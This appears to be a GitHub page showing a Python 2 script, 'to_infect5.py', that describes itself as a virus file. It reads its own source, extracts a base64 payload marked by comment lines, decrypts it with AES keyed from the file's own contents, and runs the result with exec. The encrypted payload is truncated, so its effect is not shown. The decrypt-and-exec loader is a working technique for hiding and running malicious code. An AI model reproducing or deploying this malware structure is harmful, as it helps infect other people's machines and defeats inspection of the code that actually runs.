-
Notifications
You must be signed in to change notification settings - Fork 19
/
to_infect5.py
executable file
·48 lines (39 loc) · 3.7 KB
/
to_infect5.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
print "Hello0000000000000sfhldskjfhdjslakfhdjlksafhjldsakhfjads"
######################################################## First script python
# coding=utf-8
# Start Unencrypted
import os
import __main__
import base64
import sys
import StringIO
from Crypto import Random
from Crypto.Cipher import AES
# Decryption function
def decrypt(data):
this = open(__main__.__file__, 'r')
data = base64.b64decode(data);
iv = Random.new().read(AES.block_size)
cipher = AES.new(StringIO.StringIO(this).read(24), AES.MODE_CFB, iv)
this.close()
return cipher.decrypt(data)[16:]
# Gets the virus file
this = open(__main__.__file__, 'r')
copy = False
cipher_payload = ''
for line in this:
if line.strip() == '# Start payload':
copy = True
elif line.strip() == '# End payload':
copy = False
elif copy:
cipher_payload = cipher_payload + line
e = decrypt(cipher_payload[1:])
#e = encrypt(cipher_payload)
#print e
exec e
sys.exit('Good job!')
# End Unencrypted
# Start payload
#j1WY7ohl6gXKolFGoinGo4TTpgulyX+jdizy2i6v82GgSa9Zye8hhNKWpxs1FMsFzhqrO1W4k9aOElpI0JjgLvPGddARemNcOU/jtLgUsYljSn29ogFE0jBAfSHBlJggsOH0TAIyvBwtV/m3W2BK6WtPhs+2UKH8PP5ZMtfWW61nCc5FPgNDk+WcPsbI3A0hk3wukU4wP4pb9Bc8gwdc8rt/zHmAshKCx0FSMA1Dg5DugKECeiTlQkoca0JjKkb9JTpJqiYAp+E2nA73iQqnqoD32jW5Lj+NS7CfVAdjz3Bl5GNdv24wnOnM6j1wOREo1Bc5xQqierBAelcToEPjWVdSbBuhLKskO3CyIR272rYFaergS9z7tXJ4f3by0sKosYsDX0u60Jw3FQgtqfXoH+AB1HcbYkScM+EEpZqRHmm2qCjk52YWzenF28ok8nEf4cVVAgrE2G3KZ2vEw/xDm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